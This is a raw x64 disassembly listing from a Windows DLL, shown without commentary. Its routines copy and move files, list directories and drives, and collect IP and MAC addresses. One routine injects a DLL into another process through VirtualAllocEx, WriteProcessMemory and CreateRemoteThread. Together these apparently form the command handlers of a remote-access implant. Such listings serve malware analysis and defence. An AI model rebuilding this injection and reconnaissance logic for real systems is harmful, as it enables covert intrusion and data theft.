call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, 0x1a
mov edx, eax
call fcn.18000d50c
jmp 0x180010cc9
mov rcx, qword [0x18003e020]
mov edx, 0x3a98
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rsi
call fcn.1800110c8
mov rcx, rsi
call fcn.180010fdc
mov rcx, r14
call fcn.1800158e8
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x50
mov rdi, rcx
mov ecx, 0x1000
mov r13, r8
mov ebx, edx
call fcn.180015838
mov r14d, 0x800
mov rcx, rax
mov edx, r14d
mov rbp, rax
call fcn.180015950
mov edx, r14d
mov rcx, rbp
mov rsi, rax
call fcn.180015950
lea rcx, [rsp + 0x38]
mov r8d, ebx
mov rdx, rdi
mov r12, rax
call fcn.18001590c
lea rcx, [rsp + 0x38]
mov r8d, r14d
mov rdx, rsi
call fcn.180015a54
lea rdx, [0x18002db04]
mov rcx, rsi
call fcn.18001c0a0
mov rdi, rax
lea rcx, [rax - 1]
cmp rcx, 0xfffffffffffffffd
ja 0x180011c1c
xor edx, edx
mov rcx, rax
lea r8d, [rdx + 2]
call fcn.18001c738
mov rcx, rdi
call fcn.18001c7ac
xor r8d, r8d
xor edx, edx
mov rcx, rdi
mov r15, rax
call fcn.18001c738
lea rcx, [r15 - 1]
mov eax, 0xfffffffe
cmp rcx, rax
ja 0x180011bfd
xor r9d, r9d
mov r8, r12
mov edx, r14d
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetFullPathNameA]
mov r14d, eax
lea ecx, [rax - 1]
cmp ecx, 0x7ff
ja 0x180011bf6
mov ecx, 0x18
call fcn.18001a7a4
mov rcx, qword [0x1800404a8]
mov r8d, dword [0x1800404b0]
mov qword [rax + 0x10], rcx
mov dword [rax], r8d
inc r8d
lea rcx, [rsp + 0x20]
mov edx, 0x1000
mov rbx, rax
mov qword [rax + 8], rdi
mov dword [rax + 4], r15d
mov qword [0x1800404a8], rax
mov dword [0x1800404b0], r8d
call fcn.18000d0c4
mov edx, dword [rbx]
lea rcx, [rsp + 0x20]
call fcn.18000d0f4
lea rcx, [rsp + 0x20]
mov edx, r15d
call fcn.18000d0f4
lea rcx, [rsp + 0x20]
mov r8d, r14d
mov rdx, r12
call fcn.18000d038
lea rcx, [rsp + 0x20]
call fcn.18000d124
lea rcx, [rsp + 0x20]
mov ebx, eax
call fcn.18000d188
mov r8d, 2
mov rcx, rax
mov edx, ebx
call r13
lea rcx, [rsp + 0x20]
call fcn.18000d0a0
jmp 0x180011c29
mov ecx, 0x3d
jmp 0x180011c02
mov ecx, 0x3c
mov rdx, rsi
call fcn.18000d5e8
mov rcx, rbp
call fcn.1800158e8
mov rcx, rdi
call fcn.18001bf60
jmp 0x180011c31
mov rdx, rsi
mov ecx, 0x28
call fcn.18000d5e8
mov rcx, rbp
call fcn.1800158e8
lea r11, [rsp + 0x50]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov ecx, dword [rcx]
mov rbx, qword [0x1800404a8]
call sub.WS2_32.dll_ntohl
mov edi, eax
jmp 0x180011c81
cmp dword [rbx], edi
jne 0x180011c7d
mov rcx, qword [rbx + 8]
and dword [rbx + 4], 0
call fcn.18001bf60
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x180011c6c
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
mov rsi, rcx
mov ecx, 0x4000
mov edi, edx
call fcn.180015838
mov edx, 0x2000
mov rcx, rax
mov r14, rax
call fcn.180015950
mov edx, 0x2000
mov rcx, r14
mov rbp, rax
call fcn.180015950
lea rcx, [rsp + 0x20]
mov r8d, edi
mov rdx, rsi
mov rbx, rax
call fcn.18001590c
lea rcx, [rsp + 0x20]
mov r8d, 0x2000
mov rdx, rbp
call fcn.1800159b0
lea rcx, [rsp + 0x20]
mov r8d, 0x2000
mov rdx, rbx
call fcn.1800159b0
xor r8d, r8d
mov rdx, rbx
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
jne 0x180011ed6
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, reloc.WS2_32.dll_listen
mov edx, eax
call fcn.18000d50c
mov rcx, r14
call fcn.1800158e8
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
push rbx
sub rsp, 0x40
mov r8d, edx
mov rdx, rcx
lea rcx, [rsp + 0x20]
call fcn.18001590c
lea rcx, [rsp + 0x20]
mov edx, 0x4000
call fcn.180015a9c
mov rcx, rax
mov rbx, rax
call fcn.180012458
mov rcx, rbx
test eax, eax
je 0x180011f49
lea rdx, [0x180012374]
call fcn.1800182dc
mov rcx, rbx
call fcn.18001cc28
jmp 0x180011f4e
call fcn.18001cafc
mov rcx, rbx
call fcn.18001a764
add rsp, 0x40
pop rbx
ret
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x50
mov rdi, r8
mov r8d, edx
mov rdx, rcx
lea rcx, [rsp + 0x38]
call fcn.18001590c
lea rcx, [rsp + 0x20]
mov edx, 0x80
call fcn.18000d0c4
lea rcx, [rsp + 0x38]
call fcn.18001591c
lea rcx, [rsp + 0x20]
mov edx, eax
call fcn.18000d0f4
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
lea rdx, [0x18002db08]
lea rcx, [rsp + 0x20]
mov r8d, eax
call fcn.18000d128
lea rcx, [rsp + 0x20]
call fcn.18000d124
lea rcx, [rsp + 0x20]
mov ebx, eax
call fcn.18000d188
mov r8d, reloc.WS2_32.dll_shutdown
mov rcx, rax
mov edx, ebx
call rdi
lea rcx, [rsp + 0x20]
call fcn.18000d0a0
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rdi
ret
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r14
push r15
lea rbp, [rsp - 0x100]
sub rsp, 0x200
mov rax, qword [0x18003f040]
xor rax, rsp
mov qword [rbp + 0xf0], rax
mov rbx, rcx
mov r15d, 0x4000
mov r14, r8
mov ecx, r15d
mov edi, edx
call fcn.18001a7a4
mov r8d, r15d
xor edx, edx
mov rcx, rax
mov rsi, rax
call fcn.18001aa50
lea rcx, [rsp + 0x70]
mov r8d, edi
mov rdx, rbx
call fcn.18001590c
lea rcx, [rsp + 0x70]
call fcn.18001591c
lea rcx, [rsp + 0x70]
mov r8d, r15d
mov rdx, rsi
mov ebx, eax
call fcn.1800159b0
lea rcx, [rsp + 0x50]
mov edx, 0x200000
call fcn.18000d0c4
lea rcx, [rsp + 0x50]
mov edx, ebx
call fcn.18000d0f4
lea rdx, [0x18002db14]
mov r8d, r15d
mov rcx, rsi
call fcn.18001cb60
test eax, eax
jne 0x1800120c3
mov rdx, rsi
mov ecx, r15d
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
lea r8, [0x18002db18]
mov r9d, 2
mov edx, r15d
mov rcx, rsi
call fcn.18001c2cc
lea rdx, [0x18002d790]
lea rcx, [rsp + 0x50]
mov r8, rsi
call fcn.18000d128
lea rdx, [rbp - 0x50]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x180012132
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea ecx, [rbx + 0x35]
mov rdx, rsi
mov r8d, eax
call fcn.18000d5f8
lea rcx, [rsp + 0x50]
call fcn.18000d124
lea rcx, [rsp + 0x50]
mov ebx, eax
call fcn.18000d188
mov r8d, reloc.WS2_32.dll_shutdown
mov rcx, rax
mov edx, ebx
call r14
mov rcx, rsi
call fcn.18001a764
jmp 0x18001223a
mov rcx, rsi
call fcn.18001a764
lea rdx, [rbp - 0x68]
lea rcx, [rbp - 0x3c]
call qword [sym.imp.KERNEL32.dll_FileTimeToSystemTime]
lea r8, [rbp - 0x78]
lea rdx, [rbp - 0x68]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SystemTimeToTzSpecificLocalTime]
test byte [rbp - 0x50], 0x10
movzx ecx, word [rbp - 0x6e]
movzx edx, word [rbp - 0x70]
lea r11, [rbp - 0x24]
je 0x1800121a6
movzx eax, word [rbp - 0x6c]
movzx r10d, word [rbp - 0x78]
movzx r9d, word [rbp - 0x72]
movzx r8d, word [rbp - 0x76]
mov qword [rsp + 0x40], r11
mov dword [rsp + 0x38], eax
mov dword [rsp + 0x30], ecx
mov dword [rsp + 0x28], edx
lea rdx, str.D_t0_t_02d__02d__02d__02d:_02d:_02d_t_s_n
lea rcx, [rsp + 0x50]
mov dword [rsp + 0x20], r10d
call fcn.18000d128
jmp 0x1800121f8
mov eax, dword [rbp - 0x30]
movzx r8d, word [rbp - 0x78]
movzx r10d, word [rbp - 0x72]
movzx r9d, word [rbp - 0x76]
mov qword [rsp + 0x48], r11
mov dword [rsp + 0x68], eax
mov eax, dword [rbp - 0x34]
mov dword [rsp + 0x6c], eax
movzx eax, word [rbp - 0x6c]
mov dword [rsp + 0x40], eax
mov dword [rsp + 0x38], ecx
mov dword [rsp + 0x30], edx
mov dword [rsp + 0x28], r8d
mov r8, qword [rsp + 0x68]
lea rdx, str.F_t_I64d_t_02d__02d__02d__02d:_02d:_02d_t_s_n
lea rcx, [rsp + 0x50]
mov dword [rsp + 0x20], r10d
call fcn.18000d128
lea rdx, [rbp - 0x50]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x18001213a
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindClose]
lea rcx, [rsp + 0x50]
call fcn.18000d124
lea rcx, [rsp + 0x50]
mov ebx, eax
call fcn.18000d188
mov r8d, reloc.WS2_32.dll_shutdown
mov rcx, rax
mov edx, ebx
call r14
lea rcx, [rsp + 0x50]
call fcn.18000d0a0
mov rcx, qword [rbp + 0xf0]
xor rcx, rsp
call fcn.18001b630
mov rbx, qword [rsp + 0x248]
add rsp, 0x200
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret
push rbx
sub rsp, 0x40
mov r8d, edx
mov rdx, rcx
lea rcx, [rsp + 0x20]
call fcn.18001590c
lea rcx, [rsp + 0x20]
mov edx, 0x4000
call fcn.180015a9c
mov rcx, rax
mov rbx, rax
call fcn.18001cbe0
mov rcx, rbx
call fcn.18001a764
add rsp, 0x40
pop rbx
ret
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
mov rsi, rcx
mov ecx, 0x4000
mov edi, edx
call fcn.180015838
mov edx, 0x2000
mov rcx, rax
mov r14, rax
call fcn.180015950
mov edx, 0x2000
mov rcx, r14
mov rbp, rax
call fcn.180015950
lea rcx, [rsp + 0x20]
mov r8d, edi
mov rdx, rsi
mov rbx, rax
call fcn.18001590c
lea rcx, [rsp + 0x20]
mov r8d, 0x2000
mov rdx, rbp
call fcn.1800159b0
lea rcx, [rsp + 0x20]
mov r8d, 0x2000
mov rdx, rbx
call fcn.1800159b0
mov rdx, rbx
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_MoveFileA]
test eax, eax
jne 0x18001234f
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, reloc.WS2_32.dll_ntohl
mov edx, eax
call fcn.18000d50c
mov rcx, r14
call fcn.1800158e8
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x20], rsi
push rdi
push r14
push r15
sub rsp, 0x60
mov r8d, edx
mov rdx, rcx
lea rcx, [rax - 0x38]
call fcn.18001590c
lea rcx, [rsp + 0x40]
call fcn.18001591c
lea rcx, [rsp + 0x40]
mov esi, eax
call fcn.1800158a8
lea rcx, [rsp + 0x40]
mov r14, rax
call fcn.18000d124
mov r15d, eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp eax, esi
jne 0x180012739
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
jmp 0x180012845
mov r8d, esi
xor edx, edx
mov ecx, 0x43a
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
test rax, rax
jne 0x180012769
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea ecx, [rdi + 0x21]
mov edx, esi
mov r8d, eax
call fcn.18000d518
jmp 0x180012845
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
call fcn.180018248
mov rcx, rdi
mov ebx, eax
call fcn.180018248
cmp ebx, eax
je 0x180012794
mov ecx, 0x3e
call fcn.18000d5d8
jmp 0x18001283c
mov r9d, 0x3000
mov r8, r15
xor edx, edx
mov rcx, rdi
mov dword [rsp + 0x20], 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rbx, rax
test rax, rax
jne 0x1800127c6
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, r15d
lea ecx, [rbx + 0x1f]
jmp 0x180012834
lea rax, [rsp + 0x90]
mov r9, r15
mov r8, r14
mov rdx, rbx
mov rcx, rdi
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x1800127fd
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, reloc.WS2_32.dll_recv
mov edx, eax
call fcn.18000d50c
jmp 0x18001283c
and qword [rsp + 0x30], 0
mov r9, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
and dword [rsp + 0x28], 0
xor r8d, r8d
xor edx, edx
mov rcx, rdi
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test rax, rax
jne 0x18001283c
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, esi
mov ecx, 0x20
mov r8d, eax
call fcn.18000d518
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea r11, [rsp + 0x60]
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rdi
ret
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rbp
mov qword [rax + 0x20], rsi
push rdi
sub rsp, 0x20
mov rdi, rcx
movzx ecx, word [rcx]
mov esi, r9d
mov rbp, r8
mov ebx, edx
mov word [rax + 0x10], cx
call sub.WS2_32.dll_ntohs
lea edx, [rbx - 2]
lea rcx, [rdi + 2]
mov r8d, esi
mov word [rsp + 0x38], ax
call fcn.180012988
movzx ecx, word [rsp + 0x38]
call sub.WS2_32.dll_htons
mov edx, 2
lea rcx, [rsp + 0x38]
lea r8d, [rdx + 5]
mov word [rsp + 0x38], ax
call rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop rdi
ret
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rbp
mov qword [rax + 0x20], rsi
push rdi
sub rsp, 0x20
mov rdi, rcx
movzx ecx, word [rcx]
mov rbp, r9
mov esi, r8d
mov ebx, edx
mov word [rax + 0x10], cx
call sub.WS2_32.dll_ntohs
lea edx, [rbx - 2]
lea rcx, [rdi + 2]
mov r9d, 1
mov r8d, esi
mov word [rsp + 0x38], ax
call fcn.180012860
movzx ecx, word [rsp + 0x38]
call sub.WS2_32.dll_htons
mov edx, 2
lea rcx, [rsp + 0x38]
lea r8d, [rdx + 5]
mov word [rsp + 0x38], ax
call rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop rdi
ret
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x90
mov rdi, rcx
mov esi, 0x40
mov r15d, r9d
mov ecx, esi
mov r12d, r8d
mov ebx, edx
call fcn.180015838
mov edx, esi
mov rcx, rax
mov rbp, rax
call fcn.180015950
lea rcx, [rsp + 0x70]
mov r8d, ebx
mov rdx, rdi
mov r14, rax
call fcn.18001590c
lea rcx, [rsp + 0x70]
call fcn.180015978
lea rcx, [rsp + 0x70]
movzx r13d, ax
call fcn.180015978
lea rcx, [rsp + 0x70]
movzx eax, ax
mov dword [rsp + 0x68], eax
call fcn.18001591c
lea rcx, [rsp + 0x70]
mov r8d, esi
mov rdx, r14
mov dword [rsp + 0x64], eax
call fcn.1800159b0
lea rcx, [rsp + 0x70]
mov dword [rsp + 0x60], eax
call fcn.18001591c
xor esi, esi
mov edi, eax
test eax, eax
je 0x180012c1c
lea rcx, [rsp + 0x70]
mov edx, eax
call fcn.180015950
mov rsi, rax
lea rcx, [rsp + 0x70]
call fcn.1800158a8
lea rcx, [rsp + 0x70]
mov rbx, rax
call fcn.18000d124
mov ecx, dword [rsp + 0x60]
mov r8d, dword [rsp + 0x64]
mov edx, dword [rsp + 0x68]
mov dword [rsp + 0x50], r15d
mov dword [rsp + 0x48], r12d
mov dword [rsp + 0x40], ecx
mov qword [rsp + 0x38], r14
mov dword [rsp + 0x30], edi
mov r9, rbx
mov ecx, r13d
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x20], eax
call fcn.180012c94
mov rcx, rbp
call fcn.1800158e8
lea r11, [rsp + 0x90]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r14
push r15
lea rbp, [rsp - 0x2d0]
sub rsp, 0x3d0
mov rax, qword [0x18003f040]
xor rax, rsp
mov qword [rbp + 0x2c0], rax
mov r15, r8
mov r8d, edx
mov rdx, rcx
lea rcx, [rsp + 0x40]
mov dword [rsp + 0x20], 0x318
call fcn.18001590c
lea rcx, [rsp + 0x40]
call fcn.18001591c
lea rcx, [rsp + 0x28]
mov edx, 0x8000
mov ebx, eax
call fcn.18000d0c4
lea rcx, [rsp + 0x28]
mov edx, ebx
call fcn.18000d0f4
mov ecx, dword [rsp + 0x20]
call fcn.18001a7a4
mov rdi, rax
test rax, rax
je 0x180013f8b
lea rdx, [rsp + 0x20]
mov r8d, 1
mov rcx, rax
call sub.IPHLPAPI.DLL_GetIpAddrTable
test eax, eax
jne 0x180013f8b
xor ebx, ebx
cmp dword [rdi], ebx
jbe 0x180013f5f
lea rsi, [rbx + rbx*2]
lea rcx, [rsp + 0x60]
mov eax, dword [rdi + rsi*8 + 8]
mov dword [rbp + 0x160], eax
call sub.IPHLPAPI.DLL_GetIfEntry
test eax, eax
jne 0x180013f55
cmp dword [rbp + 0x170], eax
jbe 0x180013f55
mov ecx, dword [rdi + rsi*8 + 4]
call qword [sym.imp.WS2_32.dll_inet_ntoa]
lea rdx, [0x18002dc14]
lea rcx, [rsp + 0x28]
mov r8, rax
call fcn.18000d128
mov ecx, dword [rdi + rsi*8 + 0xc]
call qword [sym.imp.WS2_32.dll_inet_ntoa]
lea rdx, [0x18002dc14]
lea rcx, [rsp + 0x28]
mov r8, rax
call fcn.18000d128
mov r8d, dword [rbp + 0x168]
lea rdx, str._ld_t
lea rcx, [rsp + 0x28]
call fcn.18000d128
mov eax, dword [rbp + 0x170]
xor r14d, r14d
test eax, eax
je 0x180013f44
lea rsi, [rbp + 0x174]
movzx r8d, byte [rsi]
dec eax
lea rcx, [rsp + 0x28]
lea rdx, str._.2X
cmp r14d, eax
je 0x180013f2e
lea rdx, str._.2X:
call fcn.18000d128
mov eax, dword [rbp + 0x170]
inc r14d
inc rsi
cmp r14d, eax
jb 0x180013f10
lea rdx, reloc.WS2_32.dll_ioctlsocket
lea rcx, [rsp + 0x28]
call fcn.18000d128
inc ebx
cmp ebx, dword [rdi]
jb 0x180013e7c
lea rcx, [rsp + 0x28]
call fcn.18000d124
lea rcx, [rsp + 0x28]
mov ebx, eax
call fcn.18000d188
mov r8d, reloc.WS2_32.dll_shutdown
mov rcx, rax
mov edx, ebx
call r15
mov rcx, rdi
call fcn.18001a764
lea rcx, [rsp + 0x28]
call fcn.18000d0a0
mov rcx, qword [rbp + 0x2c0]
xor rcx, rsp
call fcn.18001b630
mov rbx, qword [rsp + 0x418]
add rsp, 0x3d0
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret
push rbx
sub rsp, 0x40
mov rbx, qword [0x1800404d0]
mov r8d, edx
mov rdx, rcx
lea rcx, [rsp + 0x20]
call fcn.18001590c
lea rcx, [rsp + 0x20]
call fcn.180015978
movzx eax, ax
jmp 0x1800140bd
cmp dword [rbx], eax
jne 0x1800140b9
mov ecx, 1
mov word [rbx + 0x3a], cx
mov rbx, qword [rbx + 0x30]
test rbx, rbx
jne 0x1800140ac
call fcn.1800145b4
add rsp, 0x40
pop rbx
ret
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rbp
push rdi
push r12
push r14
push r15
lea rbp, [rsp - 0x37]
sub rsp, 0xd0
mov rax, qword [0x18003f040]
xor rax, rsp
mov qword [rbp + 0x27], rax
mov rbx, rcx
mov r14d, r8d
mov edi, edx
mov esi, 0x3f
lea rcx, [rbp - 0x58]
xor edx, edx
mov r8d, esi
mov byte [rbp - 0x59], 0
call fcn.18001aa50
lea rcx, [rbp - 0x18]
mov r8d, esi
xor edx, edx
mov byte [rbp - 0x19], 0
call fcn.18001aa50
lea rcx, [rbp - 0x71]
mov r8d, edi
mov rdx, rbx
call fcn.18001590c
lea rcx, [rbp - 0x71]
call fcn.18001591c
lea rcx, [rbp - 0x71]
mov r15d, eax
call fcn.180015978
lea rcx, [rbp - 0x71]
movzx r12d, ax
call fcn.180015978
mov ebx, 0x40
lea rdx, [rbp - 0x59]
lea rcx, [rbp - 0x71]
mov r8d, ebx
movzx esi, ax
call fcn.1800159b0
test eax, eax
je 0x1800141f7
lea rdx, [rbp - 0x19]
lea rcx, [rbp - 0x71]
mov r8d, ebx
call fcn.1800159b0
test eax, eax
je 0x1800141f7
neg r14d
sbb edi, edi
and edi, 0x20000
xor ebx, ebx
lea rdx, [rbp - 0x79]
lea rcx, [rbp - 0x59]
mov r8d, edi
call fcn.1800142ac
test eax, eax
jne 0x1800141d5
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
inc ebx
cmp ebx, 0x14
jl 0x18001419b
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, socket
mov edx, eax
call fcn.18000d50c
jmp 0x1800141f7
test esi, esi
je 0x1800141e4
mov rcx, qword [rbp - 0x79]
mov edx, esi
call fcn.1800143cc
mov rcx, qword [rbp - 0x79]
lea r9, [rbp - 0x19]
mov r8d, r12d
mov edx, r15d
call fcn.180014348
mov rcx, qword [rbp + 0x27]
xor rcx, rsp
call fcn.18001b630
lea r11, [rsp + 0xd0]
mov rbx, qword [r11 + 0x40]
mov rsi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rbp
ret
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x50
mov rbx, qword [0x1800404d0]
mov rdi, rcx
lea rcx, [rsp + 0x30]
mov edx, 0x8000
call fcn.18000d0c4
jmp 0x180014265
mov r9d, dword [rbx + 0x3c]
mov r8d, dword [rbx]
lea rax, [rbx + 0x44]
lea rdx, str._d_t_d_t_s_n
mov qword [rsp + 0x20], rax
call fcn.18000d128
mov rbx, qword [rbx + 0x30]
lea rcx, [rsp + 0x30]
test rbx, rbx
jne 0x180014245
call fcn.18000d124
lea rcx, [rsp + 0x30]
mov ebx, eax
call fcn.18000d188
mov r8d, socket
mov rcx, rax
mov edx, ebx
call rdi
lea rcx, [rsp + 0x30]
call fcn.18000d0a0
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rdi
ret
mov qword [rsp + 0x20], rbx
push rbp
mov rbp, rsp
sub rsp, 0x60
xor ebx, ebx
mov qword [rbp - 0x30], 6
mov qword [rbp - 0x28], rbx
mov dword [rbp - 0x20], ebx
mov qword [rbp - 0x18], rbx
mov dword [rbp - 0x10], ebx
mov qword [rbp - 8], rbx
call fcn.180014940
lea rax, [rbp + 0x10]
lea r9, [rbp + 0x18]
lea r8, [rbp + 0x20]
lea edx, [rbx + 0x30]
lea rcx, [rbp - 0x30]
mov qword [rsp + 0x20], rax
call fcn.1800147ec
test eax, eax
js 0x18001488c
cmp dword [rbp + 0x10], ebx
jge 0x180014898
mov edx, eax
mov ecx, 0x1c
call fcn.18000d50c
mov rbx, qword [rsp + 0x88]
add rsp, 0x60
pop rbp
ret
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
sub rsp, 0x30
mov edi, edx
mov rbp, rcx
call fcn.180014940
lea esi, [rdi + 0x24]
mov ecx, 0x40
mov edx, esi
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov rbx, rax
test rax, rax
je 0x180014933
lea rcx, [rax + 0x24]
mov r8d, edi
mov rdx, rbp
mov dword [rax], socket
mov dword [rax + 0x1c], edi
mov dword [rax + 0x20], 0x24
call fcn.18001b0b0
lea rax, [rsp + 0x58]
lea r9, [rsp + 0x60]
lea r8, [rsp + 0x68]
mov edx, esi
mov rcx, rbx
mov qword [rsp + 0x20], rax
call fcn.1800147ec
test eax, eax
js 0x18001491e
cmp dword [rsp + 0x58], 0
jge 0x18001492a
mov edx, eax
mov ecx, 0x1d
call fcn.18000d50c
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rbx, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
pop rsi
pop rbp
ret
push rbx
sub rsp, 0x20
mov ecx, dword [rcx]
mov rbx, r8
call qword [sym.imp.WS2_32.dll_ntohl]
lea r9, [0x180040500]
xor edx, edx
mov rcx, r9
cmp dword [rcx + 0x48], 1
jne 0x1800149b7
cmp dword [rcx], eax
je 0x1800149cb
lea r8, [0x180041400]
add rcx, 0x60
inc edx
cmp rcx, r8
jge 0x1800149e8
jmp 0x1800149ad
movsxd rax, edx
mov r8d, 0xa
lea rcx, [rax + rax*2]
shl rcx, 5
mov edx, dword [rcx + r9 + 0x58]
mov rcx, qword [rcx + r9 + 0x50]
call rbx
add rsp, 0x20
pop rbx
ret
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x20
cmp qword [0x1800404f0], 0
mov rdi, r8
mov r15d, edx
mov r14, rcx
jne 0x180014a30
mov ecx, 0x100000
call fcn.18001a7a4
mov qword [0x1800404f0], rax
mov r13d, dword [r14]
sub r15d, 4
mov ecx, r13d
call qword [sym.imp.WS2_32.dll_ntohl]
xor ebp, ebp
lea rbx, [0x180040520]
mov esi, eax
lea rdx, [0x180040500]
cmp dword [rbx - 0x20], esi
jne 0x180014afc
cmp dword [rbx + 0x28], 1
jne 0x180014afc
lea r12, [rdx + 8]
movsxd rax, ebp
mov r8d, r15d
lea rcx, [rax + rax*2]
lea rdx, [r14 + 4]
shl rcx, 5
add r12, rcx
mov rcx, r12
test r15d, r15d
jg 0x180014a8c
mov r8d, 1
call qword [rbx]
test eax, eax
je 0x180014b0c
mov rax, qword [0x1800404f0]
mov edx, 0x493e0
mov rcx, r12
mov dword [rax], r13d
call qword [rbx + 0x18]
test eax, eax
je 0x180014ac4
mov rdx, qword [0x1800404f0]
mov r8d, 0xffffc
mov rcx, r12
add rdx, 4
call qword [rbx - 8]
jmp 0x180014ac7
or eax, 0xffffffff
cmp eax, 1
jle 0x180014ae0
lea edx, [rax + 4]
mov rcx, qword [0x1800404f0]
mov r8d, reloc.WS2_32.dll_inet_ntoa
call rdi
jmp 0x180014af5
test eax, eax
jne 0x180014ae9
lea edx, [rax + 4]
jmp 0x180014acf
jns 0x180014af5
mov rdx, rdi
mov ecx, esi
call fcn.180014dc4
lea rdx, [0x180040500]
inc ebp
add rbx, 0x60
cmp ebp, 0x28
jge 0x180014b16
jmp 0x180014a52
mov rdx, rdi
mov ecx, esi
call fcn.180014dc4
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
add rsp, 0x20
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
push rbx
sub rsp, 0x20
mov ecx, dword [rcx]
mov rbx, r8
call qword [sym.imp.WS2_32.dll_ntohl]
mov rdx, rbx
mov ecx, eax
add rsp, 0x20
pop rbx
jmp fcn.180014dc4
mov rdx, r8
jmp 0x180014f64
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x20], rdi
push rbp
lea rbp, [rax - 0x5f]
sub rsp, 0xc0
mov rsi, rdx
mov rdi, rcx
jmp 0x180014fad
